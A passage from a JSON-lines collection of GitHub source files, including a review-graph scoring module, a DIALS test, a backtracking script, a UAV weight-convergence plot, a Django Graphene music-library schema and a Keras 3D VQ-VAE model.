time of all reviews, respectively,\n        :math:`\\\\theta` is the given parameter defining time ratio.\n        \"\"\"\n        if not self._delta:\n            min_time = min([r.time for r in self.reviews])\n            max_time = max([r.time for r in self.reviews])\n            self._delta = (max_time - min_time) * self._theta\n        return self._delta\n\n    def new_reviewer(self, name: Optional[str] = None, anomalous: Optional[float] = None) -> Reviewer:\n        \"\"\"Create a new reviewer.\n\n        Args:\n            name: the name of the new reviewer.\n            anomalous: the anomalous score of the new reviewer.\n\n        Returns:\n            A new reviewer instance.\n        \"\"\"\n        n = Reviewer(self, name=name, anomalous=anomalous)\n        self.graph.add_node(n)\n        self.reviewers.append(n)\n        return n\n\n    def new_product(self, name: Optional[str] = None) -> Product:\n        \"\"\"Create a new product.\n\n        Args:\n            name: The name of the new product.\n\n        Returns:\n            A new product instance.\n        \"\"\"\n        n = Product(self, name)\n        self.graph.add_node(n)\n        self.products.append(n)\n        return n\n\n    def add_review(self, reviewer: Reviewer, product: Product, review: float, time: Optional[int] = None) -> Review:\n        \"\"\"Add a new review.\n\n        Args:\n          reviewer:  An instance of Reviewer.\n          product: An instance of Product.\n          review: A real number representing review score.\n          time: An integer representing reviewing time. (optional)\n\n        Returns:\n          the new review object.\n        \"\"\"\n        if not time:\n            re = Review(self, len(self.reviews), review)\n        else:\n            re = Review(self, time, review)\n        self.graph.add_node(re)\n        self.reviews.append(re)\n        self.graph.add_edge(reviewer, re)\n        self.graph.add_edge(re, product)\n        self._delta = None\n        return re\n\n    @cache\n    def retrieve_reviewers(self, review: Review) -> Collection[Reviewer]:\n        \"\"\"Find reviewers associated with a review.\n\n        Args:\n            review: A review instance.\n\n        Returns:\n            A list of reviewers associated with the review.\n        \"\"\"\n        return list(self.graph.predecessors(review))\n\n    @cache\n    def retrieve_products(self, review: Review) -> Collection[Product]:\n        \"\"\"Find products associated with a review.\n\n        Args:\n            review: A review instance.\n\n        Returns:\n            A list of products associated with the given review.\n        \"\"\"\n        return list(self.graph.successors(review))\n\n    @cache\n    def retrieve_reviews_by_reviewer(self, reviewer: Reviewer) -> Collection[Review]:\n        \"\"\"Find reviews given by a reviewer.\n\n        Args:\n            reviewer: Reviewer\n\n        Returns:\n            A list of reviews given by the reviewer.\n        \"\"\"\n        return list(self.graph.successors(reviewer))\n\n    @cache\n    def retrieve_reviews_by_product(self, product: Product) -> Collection[Review]:\n        \"\"\"Find reviews to a product.\n\n        Args:\n            product: Product\n\n        Returns:\n            A list of reviews to the product.\n        \"\"\"\n        return list(self.graph.predecessors(product))\n\n    def retrieve_reviews(\n        self, review: Review, time_diff: Optional[float] = None, score_diff: float = 0.25\n    ) -> ReviewSet:\n        \"\"\"Find agree and disagree reviews.\n\n        This method retrieve two groups of reviews.\n        Agree reviews have similar scores to a given review.\n        On the other hands disagree reviews have different scores.\n\n        Args:\n          review: A review instance.\n          time_diff: An integer.\n          score_diff: An float value.\n\n        Returns:\n          A tuple consists of (a list of agree reviews, a list of disagree reviews)\n        \"\"\"\n        if not time_diff:\n            time_diff = float(\"inf\")\n\n        agree, disagree = [], []\n        for p in self.retrieve_products(review):\n            for re in self.retrieve_reviews_by_product(p):\n                if re == review:\n                    continue\n                if abs(re.time - review.time) < time_diff:\n                    if abs(re.rating - review.rating) < score_diff:\n                        agree.append(re)\n                    else:\n                        disagree.append(re)\n        return ReviewSet(agree, disagree)\n\n    def update(self) -> float:\n        \"\"\"Update reviewers' anomalous scores and products' summaries.\n\n        This update process consists of four steps;\n\n        1. Update honesty of reviews (See also :meth:`Review.update_honesty`),\n        2. Update rustiness of reviewers\n           (See also :meth:`Reviewer.update_trustiness`),\n        3. Update reliability of products\n           (See also :meth:`Product.update_reliability`),\n        4. Update agreements of reviews\n           (See also :meth:`Review.update_agreement`).\n\n        Returns:\n          summation of maximum absolute updates for the above four steps.\n        \"\"\"\n        diff = max(re.update_honesty() for re in self.reviews)\n        diff += max(r.update_trustiness() for r in self.reviewers)\n        diff += max(p.update_reliability() for p in self.products)\n        diff += max(re.update_agreement(self.delta) for re in self.reviews)\n        return diff\n","repo_name":"rgmining/rsd","sub_path":"rsd/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":14851,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"15541739422","text":"from __future__ import annotations\n\nimport pytest\n\n\n@pytest.fixture\ndef prediction():\n    from dials.model.data import Prediction\n\n    pred = Prediction()\n    pred.miller_index = (1, 2, 3)\n    pred.beam_vector = (4, 5, 6)\n    pred.panel = 7\n    pred.entering = True\n    pred.position.px = (8, 9, 10)\n    pred.position.mm = (11, 12, 13)\n    return pred\n\n\ndef test_data(prediction):\n    eps = 1e-7\n\n    assert prediction.miller_index == (1, 2, 3)\n    assert prediction.panel == 7\n    assert prediction.entering\n    assert abs(prediction.beam_vector[0] - 4) <= eps\n    assert abs(prediction.beam_vector[1] - 5) <= eps\n    assert abs(prediction.beam_vector[2] - 6) <= eps\n    assert abs(prediction.position.px[0] - 8) <= eps\n    assert abs(prediction.position.px[1] - 9) <= eps\n    assert abs(prediction.position.px[2] - 10) <= eps\n    assert abs(prediction.position.mm[0] - 11) <= eps\n    assert abs(prediction.position.mm[1] - 12) <= eps\n    assert abs(prediction.position.mm[2] - 13) <= eps\n\n\ndef test_equality(prediction):\n    from dials.model.data import Prediction\n\n    pred2 = Prediction(prediction)\n    assert pred2 == prediction\n    pred2 = Prediction(prediction)\n    pred2.miller_index = (0, 0, 0)\n    assert pred2 != prediction\n    pred2 = Prediction(prediction)\n    pred2.beam_vector = (0, 0, 0)\n    assert pred2 != prediction\n    pred2 = Prediction(prediction)\n    pred2.panel = 0\n    assert pred2 != prediction\n    pred2 = Prediction(prediction)\n    pred2.entering = False\n    assert pred2 != prediction\n    pred2 = Prediction(prediction)\n    pred2.position.px = (0, 0, 0)\n    assert pred2 != prediction\n    pred2 = Prediction(prediction)\n    pred2.position.mm = (0, 0, 0)\n    assert pred2 != prediction\n","repo_name":"dials/dials","sub_path":"tests/model/data/test_prediction.py","file_name":"test_prediction.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"35"}
{"seq_id":"10235515246","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10 ** 7)\n\nN, M = map(int, input().split())\nrs = []\n\ndef recur(n):\n    if n == M:\n        print(*rs, sep=' ')\n        return\n    for i in range(1, N + 1):\n        rs.append(i)\n        recur(n + 1)\n        rs.pop()\n\nrecur(0)\n","repo_name":"ByeonghwiJeong/Algorithm_Study","sub_path":"05_Study/Chung_Ang/15_백트래킹_22-07-20/03_15651_1.py","file_name":"03_15651_1.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30892353505","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\nW0 = 8\r\nW0i = []\r\nWbi = []\r\nWei =[]\r\nit = []\r\n\r\nfor i in range (1,40):\r\n    W0i.append(W0)\r\n    Wbi.append(1.0417+0.3403*W0i[i-1])\r\n    Wei.append((0.5635*math.pow(W0,-0.0624))*W0)\r\n    it.append(i)\r\n    print(W0i[i-1])\r\n    print(Wbi[i-1])\r\n    print(Wei[i-1])\r\n    k = 1 - (Wei[i-1]/W0i[i-1]) - (Wbi[i-1]/W0i[i-1])\r\n    W0 = .5/k\r\n    print(W0)\r\n\r\nplt.plot(it, W0i, color = 'red', label = 'Convergence plot')\r\nplt.ylabel('Maximum takeoff weight (kg)')\r\nplt.xlabel('No. of iterations')\r\nplt.title('MTOW vs No. of iterations')\r\nplt.tight_layout()\r\nplt.legend()\r\nplt.xticks(np.arange(0,41,4))\r\nplt.yticks()\r\nplt.show()","repo_name":"AryamannMastana/Forest-Surevillance-UAV-Design","sub_path":"weight_convergence.py","file_name":"weight_convergence.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32434075933","text":"from cmath import sin\nfrom datetime import datetime\nfrom email.mime import image\nfrom unicodedata import name\nimport graphene\nfrom graphene_django import DjangoObjectType\nfrom graphene.types.field import Field\nfrom library.songs.models import *\nfrom typing_extensions import Required\nfrom sqlalchemy import desc\nfrom graphene_django import DjangoObjectType\nfrom django_filters import FilterSet, OrderingFilter\n\nclass GenreType(DjangoObjectType):\n    class Meta:\n        model = Genre\n        fields = '__all__'\n        ordering = ('id',)\n\nclass SingerType(DjangoObjectType):\n    class Meta:\n        model = Singer\n        fields = '__all__'\n        ordering = ('id',)\n\nclass AlbumType(DjangoObjectType):\n    class Meta:\n        model = Album\n        fields = '__all__'\n        ordering = ('releaseDate',)\n\nclass SongType(DjangoObjectType):\n    class Meta:\n        model = Song\n        fields = '__all__'\n        ordering = ('releaseDate',)\n\n\nclass GenreQuery(graphene.ObjectType):\n    all_genres_sorting = graphene.List(\n        GenreType, first=graphene.Int(), skip=graphene.Int(), asc=graphene.Boolean(required=False), field=graphene.String(required=False))\n    genres_by_name_asc = graphene.List(\n        GenreType, name=graphene.String(required=True))\n    genres_by_name_desc = graphene.List(\n        GenreType, name=graphene.String(required=True))\n\n    def resolve_all_genres_sorting(root, info, asc=True, field=\"id\", first=None, skip=None):\n        genres = Genre.objects.all().order_by(\n            f'{field}' if asc else f'-{field}')\n        if skip is not None:\n            genres = genres[:skip]\n        if first is not None:\n            genres = genres[first:]\n        return genres\n\n    def resolve_genres_by_name_asc(root, info, name):\n        try:\n            return Genre.objects.filter(name=name).order_by('id')\n        except Genre.DoesNotExist:\n            return None\n    def resolve_genres_by_name_desc(root, info, name):\n        try:\n            return Genre.objects.filter(name=name).order_by('-id')\n        except Genre.DoesNotExist:\n            return None\n\n\nclass SingerQuery(graphene.ObjectType):\n    all_singers_sorting = graphene.List(\n        SingerType, first=graphene.Int(), skip=graphene.Int(), asc=graphene.Boolean(required=False), field=graphene.String(required=False))\n    all_singers_asc = graphene.List(\n        SingerType, first=graphene.Int(), skip=graphene.Int())\n    all_singers_desc = graphene.List(\n        SingerType, first=graphene.Int(), skip=graphene.Int())\n    singer_by_name_asc = graphene.List(\n        SingerType, name=graphene.String(required=True))\n    singer_by_name_desc = graphene.List(\n        SingerType, name=graphene.String(required=True))\n\n    def resolve_all_singers_sorting(root, info, asc=True, field=\"id\", first=None, skip=None):\n        singers = Singer.objects.all().order_by(f'{field}' if asc else f'-{field}')\n        if skip is not None:\n            singers = singers[:skip]\n        if first is not None:\n            singers = singers[first:]\n        return singers\n\n    def resolve_all_singers_asc(root, info, first=None, skip=None):\n\n        #     from django.contrib.auth.middleware import get_user\n        #     from graphql_jwt.utils import get_payload, get_user_by_payload\n        #     context = info.context\n        #     print('info',dir(context))\n        #     user = info.context.user\n        #     print('IS AUTHENTICATED? ', user.is_authenticated)\n        #     if not user.is_authenticated:\n        #         raise Exception(\"Authentication credentials were not provided\")\n\n        singers = Singer.objects.all().order_by('id')\n        if skip is not None:\n            singers = singers[:skip]\n        if first is not None:\n            singers = singers[first:]\n        return singers\n\n    def resolve_all_singers_desc(root, info, first=None, skip=None):\n        singers = Singer.objects.all().order_by('-id')\n        if skip is not None:\n            singers = singers[:skip]\n        if first is not None:\n            singers = singers[first:]\n        return singers\n\n    def resolve_singer_by_name_asc(root, info, name):\n        try:\n            return Singer.objects.filter(name=name).order_by('id')\n        except Singer.DoesNotExist:\n            return None\n\n    def resolve_singer_by_name_desc(root, info, name):\n        try:\n            return Singer.objects.filter(name=name).order_by('-id')\n        except Singer.DoesNotExist:\n            return None\n\nclass AlbumQuery(graphene.ObjectType):\n    all_albums_sorting = graphene.List(\n        AlbumType, first=graphene.Int(), skip=graphene.Int(), asc=graphene.Boolean(required=False), field=graphene.String(required=False))\n    album_by_name_asc = graphene.List(AlbumType, name=graphene.String(required=True))\n    album_by_name_desc = graphene.List(AlbumType, name=graphene.String(required=True))\n    all_albums_asc = graphene.List(AlbumType, first=graphene.Int(), skip=graphene.Int())\n    all_albums_desc = graphene.List(AlbumType, first=graphene.Int(), skip=graphene.Int())\n    \n    def resolve_all_albums_sorting(root, info, asc=True, field=\"id\", first=None, skip=None):\n        albums = Album.objects.all().order_by(f'{field}' if asc else f'-{field}')\n        if skip is not None:\n            albums = albums[:skip]\n        if first is not None:\n            albums = albums[first:]\n        return albums\n    \n    def resolve_album_by_name_asc(root, info, name):\n        try:\n            return Album.objects.filter(name=name).order_by('releaseDate')\n        except Album.DoesNotExist:\n            return None\n\n    def resolve_album_by_name_desc(root, info, name):\n        try:\n            return Album.objects.filter(name=name).order_by('-releaseDate')\n        except Album.DoesNotExist:\n            return None\n\n    def resolve_all_albums_asc(root, info, first=None, skip=None):\n    #     from django.contrib.auth.middleware import get_user\n    #     from graphql_jwt.utils import get_payload, get_user_by_payload\n    #     context = info.context\n    #     print('info',dir(context))\n    #     user = info.context.user\n    #     print('IS AUTHENTICATED? ', user.is_authenticated)\n    #     if not user.is_authenticated:\n    #         raise Exception(\"Authentication credentials were not provided\")\n        albums = Album.objects.all().order_by('releaseDate')\n        if skip is not None:\n            albums = albums[:skip]\n        if first is not None:\n            albums = albums[first:]\n        return albums\n\n    def resolve_all_albums_desc(root, info, first=None, skip=None):\n        albums = Album.objects.all().order_by('-releaseDate')\n        if skip is not None:\n            albums = albums[:skip]\n        if first is not None:\n            albums = albums[first:]\n        return albums\n\nclass SongQuery(graphene.ObjectType):\n    song_by_id = graphene.Field(SongType, id=graphene.Int(required=True))\n    song_by_name_asc = graphene.List(SongType, name=graphene.String(required=True))\n    song_by_name_desc = graphene.List(SongType, name=graphene.String(required=True))\n    all_songs_asc = graphene.List(SongType, first=graphene.Int(), skip=graphene.Int())\n    all_songs_desc = graphene.List(SongType, first=graphene.Int(), skip=graphene.Int())\n    all_songs_sorting = graphene.List(\n        SongType, first=graphene.Int(), skip=graphene.Int(), asc=graphene.Boolean(required=False), field=graphene.String(required=False))\n    \n    def resolve_all_songs_sorting(root, info, asc=True, field=\"id\", first=None, skip=None):\n        songs = Song.objects.all().order_by(f'{field}' if asc else f'-{field}')\n        if skip is not None:\n            songs = songs[:skip]\n        if first is not None:\n            songs = songs[first:]\n        return songs\n    \n    def resolve_all_songs_asc(root, info, first=None, skip=None):\n        songs = Song.objects.all().order_by('releaseDate')\n        if skip is not None:\n            songs = songs[:skip]\n        if first is not None:\n            songs = songs[first:]\n        return songs\n        \n    def resolve_all_songs_desc(root, info, first=None, skip=None):\n        # from django.contrib.auth.middleware import get_user\n        # from graphql_jwt.utils import get_payload, get_user_by_payload\n        # context = info.context\n        # print('info',dir(context))\n        # user = info.context.user\n        # print('IS AUTHENTICATED? ', user.is_authenticated)\n        # if not user.is_authenticated:\n        #     raise Exception(\"Authentication credentials were not provided\")\n        songs = Song.objects.all().order_by('-releaseDate')\n        if skip is not None:\n            songs = songs[:skip]\n        if first is not None:\n            songs = songs[first:]\n        return songs\n\n    def resolve_song_by_id(root, info, id):\n        try:\n            return Song.objects.get(pk=id)\n        except Song.DoesNotExist:\n            return None\n\n    def resolve_song_by_name_asc(root, info, name):\n        try:\n            return Song.objects.filter(name__contains=name).order_by('releaseDate')\n        except Song.DoesNotExist:\n            return None\n\n    def resolve_song_by_name_desc(root, info, name):\n        try:\n            return Song.objects.filter(name__contains=name).order_by('-releaseDate')\n        except Song.DoesNotExist:\n            return None\n\nclass GenresInput(graphene.InputObjectType):\n    id = graphene.ID()\n    name = graphene.String()\n\nclass SingersInput(graphene.InputObjectType):\n    id = graphene.ID()\n    name = graphene.String()\n    lastName = graphene.String()\n    stageName = graphene.String()\n    nationality = graphene.String()\n    image = graphene.String()\n\nclass AlbumsInput(graphene.InputObjectType):\n    id = graphene.ID()\n    name = graphene.String(required=True)\n    releaseDate = graphene.String()\n    physicalPrice = graphene.Int()\n    stock = graphene.Int()\n    image = graphene.String()\n    singer = graphene.Field(SingersInput)\n    genre = graphene.Field(GenresInput)\n\nclass SongsInput(graphene.InputObjectType):\n    id = graphene.ID()\n    name = graphene.String(required=True)\n    releaseDate = graphene.String()\n    duration = graphene.Int()\n    completeFile = graphene.String()\n    previewFile = graphene.String()\n    digitalPrice = graphene.Decimal()\n    singer = graphene.Field(SingersInput)\n    album = graphene.Field(AlbumsInput)\n\n\nclass UpsertGenreMutation(graphene.Mutation):\n    class Arguments:\n        # The input arguments for this mutation\n        id = graphene.ID()\n        name = graphene.String(required=True)\n    # The class attributes define the response of the mutation\n    genre = graphene.Field(GenreType)\n    status = graphene.String()\n\n    @classmethod\n    def mutate(cls, root, info, name, id=None):\n        genre = None\n        if id is not None:\n            try:\n                genre = Genre.objects.get(pk=id)\n                genre.name = name\n                genre.save()\n            except Genre.DoesNotExist:\n                return cls(genre=None, status='Genre not found')\n        else:\n            genre = Genre.objects.create(name=name)\n            genre.save()\n        # Notice we return an instance of this mutation\n        return UpsertGenreMutation(genre=genre)\n\nclass UpsertSingerMutation(graphene.Mutation):\n    class Arguments:\n        # The input arguments for this mutation\n        id = graphene.ID()\n        stageName = graphene.String(required=True)\n        name = graphene.String(required=True)\n        lastName = graphene.String(required=True)\n        nationality = graphene.String(required=True)\n        image = graphene.String(required=True)\n    # The class attributes define the response of the mutation\n    singer = graphene.Field(SingerType)\n    status = graphene.String()\n\n    @classmethod\n    def mutate(cls, root, info, stageName, name, lastName, nationality, image, id=None):\n        singer = None\n        if id is not None:\n            try:\n                singer = Singer.objects.get(pk=id)\n                singer.name = name\n                singer.stageName = stageName\n                singer.lastName = lastName\n                singer.nationality = nationality\n                singer.image = image\n                singer.save()\n            except Singer.DoesNotExist:\n                return cls(singer=None, status='Singer not found')\n        else:\n            singer = Singer.objects.create(\n                name=name, stageName=stageName, lastName=lastName, nationality=nationality, image=image)\n            singer.save()\n        # Notice we return an instance of this mutation\n        return UpsertSingerMutation(singer=singer)\n\n\nclass UpsertAlbumMutation(graphene.Mutation):\n    class Arguments:\n        # The input arguments for this mutation\n        id = graphene.ID()\n        name = graphene.String(required=True)\n        releaseDate = graphene.String()\n        physicalPrice = graphene.Decimal(\n            required=True, description='Physical price')\n        stock = graphene.Int(required=True)\n        image = graphene.String()\n        singer = SingersInput(required=True)\n        genre = GenresInput(required=True)\n    # The class attributes define the response of the mutation\n    album = graphene.Field(AlbumType)\n    status = graphene.String()\n\n    @classmethod\n    def mutate(cls, root, info, **kwargs):\n        print('info:', dir(info.context))\n        print('headers:', info.context.headers)\n        aux_singer = None\n        if 'singer' in kwargs:\n            singer = kwargs.pop('singer')\n            if 'id' in singer:\n                try:\n                    aux_singer = Singer.objects.get(pk=singer['id'])\n                    if 'name' in singer:\n                        aux_singer.name = singer['name']\n                    if 'lastName' in singer:\n                        aux_singer.lastName = singer['lastName']\n                    if 'stageName' in singer:\n                        aux_singer.stageName = singer['stageName']\n                    if 'nationality' in singer:\n                        aux_singer.nationality = singer['nationality']\n                    if 'name' in singer:\n                        aux_singer.image = singer['image']\n                    aux_singer.save()\n                except Singer.DoesNotExist:\n                    return cls(status='Singer not found', singer=None)\n            else:\n                aux_singer = Singer.objects.create(\n                    name=singer['name'],\n                    lastName=singer['lastName'],\n                    stageName=singer['stageName'],\n                    nationality=singer['nationality'],\n                    image=singer['image']\n                )\n                aux_singer.save()\n        aux_genre = None\n        if 'genre' in kwargs:\n            genre = kwargs.pop('genre')\n            if 'id' in genre:\n                try:\n                    aux_genre = Genre.objects.get(pk=genre['id'])\n                    if 'name' in genre:\n                        aux_genre.name = genre['name']\n                    aux_genre.save()\n                except Genre.DoesNotExist:\n                    return cls(status='Genre not found', genre=None)\n            else:\n                aux_genre = Genre.objects.create(name=genre['name'])\n                aux_genre.save()\n        if 'id' in kwargs:\n            album = None\n            try:\n                album = Album.objects.get(pk=kwargs['id'])\n                album.name = kwargs['name']\n                album.physicalPrice = kwargs['physicalPrice']\n                album.stock = kwargs['stock']\n                album.genre = aux_genre\n                album.singer = aux_singer\n                if 'releaseDate' in kwargs:\n                    album.releaseDate = datetime.strptime(\n                        kwargs['releaseDate'], \"%Y-%m-%d\")\n                if 'image' in kwargs:\n                    album.image = kwargs['image']\n                album.save()\n            except Album.DoesNotExist:\n                return cls(album=None, status='Album not found')\n        else:\n            album = Album.objects.create(\n                name=kwargs['name'],\n                physicalPrice=kwargs['physicalPrice'],\n                stock=kwargs['stock'],\n                genre=aux_genre,\n                singer=aux_singer\n            )\n            if 'releaseDate' in kwargs:\n                album.releaseDate = datetime.strptime(\n                    kwargs['releaseDate'], \"%Y-%m-%d\")\n            if 'image' in kwargs:\n                album.image = kwargs['image']\n            album.save()\n        # Notice we return an instance of this mutation\n        return UpsertAlbumMutation(album=album, status='ok')\n\n\nclass UpsertSongMutation(graphene.Mutation):\n    class Arguments:\n        # The input arguments for this mutation\n        id = graphene.ID()\n        name = graphene.String(required=True)\n        releaseDate = graphene.String()\n        duration = graphene.Int(\n            required=True, description='Duration of the Song')\n        completeFile = graphene.String()\n        previewFile = graphene.String()\n        digitalPrice = graphene.Decimal(\n            required=True, description='Average price')\n        singerId = graphene.Int(required=True)\n        albumId = graphene.Int(required=True)\n    # The class attributes define the response of the mutation\n    song = graphene.Field(SongType)\n    status = graphene.String()\n\n    @classmethod\n    def mutate(cls, root, info, **kwargs):\n        print('info:', dir(info.context))\n        print('headers:', info.context.headers)\n        if 'id' in kwargs:\n            song = None\n            try:\n                song = Song.objects.get(pk=kwargs['id'])\n                song.name = kwargs['name']\n                print(\"===============\")\n                print(kwargs['completeFile'])\n                print(\"===============\")\n                song.digitalPrice = kwargs['digitalPrice']\n                song.completeFile = kwargs['completeFile']\n                song.duration = kwargs['duration']\n                song.previewFile = kwargs['previewFile']\n                song.album = Album.objects.get(pk=kwargs['albumId'])\n                song.singer = Singer.objects.get(pk=kwargs['singerId'])\n                if 'releaseDate' in kwargs:\n                    song.releaseDate = datetime.strptime(\n                        kwargs['releaseDate'], \"%Y-%m-%d\")\n                song.save()\n            except Song.DoesNotExist:\n                return cls(song=None, status='Song not found')\n        else:\n            song = Song.objects.create(\n                name = kwargs['name'],\n                digitalPrice = kwargs['digitalPrice'],\n                completeFile = kwargs['completeFile'],\n                duration = kwargs['duration'],\n                previewFile = kwargs['previewFile'],\n                album = Album.objects.get(pk=kwargs['albumId']),\n                singer = Singer.objects.get(pk=kwargs['singerId'])\n                )\n            if 'releaseDate' in kwargs:\n                song.releaseDate = datetime.strptime(kwargs['releaseDate'], \"%Y-%m-%d\")\n            song.save()\n        # Notice we return an instance of this mutation\n        return UpsertSongMutation(song=song, status='ok')\n\n\nclass DeleteGenreMutation(graphene.Mutation):\n    ok = graphene.Boolean()\n\n    class Arguments:\n        id = graphene.ID()\n\n    @classmethod\n    def mutate(cls, root, info, **kwargs):\n        genre = Genre.objects.get(pk=kwargs[\"id\"])\n        genre.delete()\n        return cls(ok=True)\n\nclass DeleteSingerMutation(graphene.Mutation):\n    ok = graphene.Boolean()\n\n    class Arguments:\n        id = graphene.ID()\n\n    @classmethod\n    def mutate(cls, root, info, **kwargs):\n        singer = Singer.objects.get(pk=kwargs[\"id\"])\n        singer.delete()\n        return cls(ok=True)\n\nclass DeleteAlbumMutation(graphene.Mutation):\n    ok = graphene.Boolean()\n\n    class Arguments:\n        id = graphene.ID()\n\n    @classmethod\n    def mutate(cls, root, info, **kwargs):\n        album = Album.objects.get(pk=kwargs[\"id\"])\n        album.delete()\n        return cls(ok=True)\n\nclass DeleteSongMutation(graphene.Mutation):\n    ok = graphene.Boolean()\n\n    class Arguments:\n        id = graphene.ID()\n\n    @classmethod\n    def mutate(cls, root, info, **kwargs):\n        song = Song.objects.get(pk=kwargs[\"id\"])\n        song.delete()\n        return cls(ok=True)\n\n\nclass SongMutation(graphene.ObjectType):\n    pass\n    upsert_genre = UpsertGenreMutation.Field()\n    upsert_singer = UpsertSingerMutation.Field()\n    upsert_album = UpsertAlbumMutation.Field()\n    upsert_song = UpsertSongMutation.Field()\n    delete_genre = DeleteGenreMutation.Field()\n    delete_singer = DeleteSingerMutation.Field()\n    delete_album = DeleteAlbumMutation.Field()\n    delete_song = DeleteSongMutation.Field()\n","repo_name":"dannaemartinez/projectfinal","sub_path":"backend/library/songs/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":20664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14242399450","text":"import tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nimport numpy as np\n\n'''\n    3D VQVAE parts for animation\n'''\n\n\ndef get_animation_encoder(latent_dim, num_frames):\n    encoder_inputs = keras.Input(shape=(num_frames, 128, 128, 3), name=\"input\")\n    x = layers.Conv3D(32, 3, activation=\"relu\", strides=(1, 2, 2), padding=\"same\")(\n        encoder_inputs\n    )\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3D(64, 3, activation=\"relu\", strides=(1, 2, 2), padding=\"same\")(x)\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3D(64, 3, activation=\"relu\", strides=1, padding=\"same\")(x)\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3D(128, 3, activation=\"relu\", strides=1, padding=\"same\")(x)\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3D(64, 1, activation=\"relu\", strides=1, padding=\"same\")(x)\n    encoder_outputs = layers.Conv3D(latent_dim, 1, padding=\"same\")(x)\n    return keras.Model(encoder_inputs, encoder_outputs, name=\"encoder\")\n\n\ndef get_animation_decoder(latent_dim, num_frames):\n    latent_inputs = keras.Input(shape=get_animation_encoder(latent_dim, num_frames).output.shape[1:])\n\n    x = layers.Conv3DTranspose(128, 3, activation=\"relu\", strides=(1, 2, 2), padding=\"same\")(\n        latent_inputs\n    )\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3DTranspose(64, 3, activation=\"relu\", strides=(1, 2, 2), padding=\"same\")(\n        x\n    )\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3DTranspose(64, 3, activation=\"relu\", strides=1, padding=\"same\")(\n        x\n    )\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3DTranspose(64, 3, activation=\"relu\", strides=1, padding=\"same\")(\n        x\n    )\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3DTranspose(32, 3, activation=\"relu\", strides=1, padding=\"same\")(x)\n    x = layers.BatchNormalization()(x)\n    x = layers.Conv3DTranspose(16, 1, activation=\"relu\", strides=1, padding=\"same\")(x)\n    decoder_outputs = layers.Conv3DTranspose(3, 3, padding=\"same\", activation=\"sigmoid\", name=\"output\")(x)\n    return keras.Model(latent_inputs, decoder_outputs, name=\"decoder\")\n\n\ndef get_animation_vqvae(latent_dim=32, num_embeddings=64, num_frames=6):\n    vq_layer = VectorQuantizer(num_embeddings, latent_dim, name=\"vector_quantizer\")\n    encoder = get_animation_encoder(latent_dim, num_frames)\n    decoder = get_animation_decoder(latent_dim, num_frames)\n    inputs = keras.Input(shape=(num_frames, 128, 128, 3))\n\n    # TODO: reintroduce augmentation\n    # augmented = keras.layers.RandomFlip('horizontal')(inputs)\n\n    encoder_outputs = encoder(inputs)\n    quantized_latents = vq_layer(encoder_outputs)\n    reconstructions = decoder(quantized_latents)\n    model = keras.Model(inputs, reconstructions, name=\"vq_vae\")\n    print(model.summary())\n    return model\n\n\nclass VectorQuantizer(layers.Layer):\n    def __init__(self, num_embeddings, embedding_dim, beta=0.25, **kwargs):\n        super().__init__(**kwargs)\n        self.embedding_dim = embedding_dim\n        self.num_embeddings = num_embeddings\n        self.beta = (\n            beta  # This parameter is best kept between [0.25, 2] as per the paper.\n        )\n\n        # Initialize the embeddings which we will quantize.\n        w_init = tf.random_uniform_initializer()\n        self.embeddings = tf.Variable(\n            initial_value=w_init(\n                shape=(self.embedding_dim, self.num_embeddings), dtype=\"float32\"\n            ),\n            trainable=True,\n            name=\"embeddings_vqvae\",\n        )\n\n    def call(self, x):\n        # Calculate the input shape of the inputs and\n        # then flatten the inputs keeping `embedding_dim` intact.\n        input_shape = tf.shape(x)\n        flattened = tf.reshape(x, [-1, self.embedding_dim])\n\n        # Quantization.\n        encoding_indices = self.get_code_indices(flattened)\n        encodings = tf.one_hot(encoding_indices, self.num_embeddings)\n        quantized = tf.matmul(encodings, self.embeddings, transpose_b=True)\n        quantized = tf.reshape(quantized, input_shape)\n\n        # Calculate vector quantization loss and add that to the layer. You can learn more\n        # about adding losses to different layers here:\n        # https://keras.io/guides/making_new_layers_and_models_via_subclassing/. Check\n        # the original paper to get a handle on the formulation of the loss function.\n        commitment_loss = self.beta * tf.reduce_mean(\n            (tf.stop_gradient(quantized) - x) ** 2\n        )\n        codebook_loss = tf.reduce_mean((quantized - tf.stop_gradient(x)) ** 2)\n        self.add_loss(commitment_loss + codebook_loss)\n\n        # Straight-through estimator.\n        quantized = x + tf.stop_gradient(quantized - x)\n        return quantized\n\n    def get_code_indices(self, flattened_inputs):\n        # Calculate L2-normalized distance between the inputs and the codes.\n        similarity = tf.matmul(flattened_inputs, self.embeddings)\n        distances = (\n            tf.reduce_sum(flattened_inputs ** 2, axis=1, keepdims=True)\n            + tf.reduce_sum(self.embeddings ** 2, axis=0)\n            - 2 * similarity\n        )\n\n        # Derive the indices for minimum distances.\n        encoding_indices = tf.argmin(distances, axis=1)\n        return encoding_indices\n","repo_name":"ribombee/SketchBetween","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
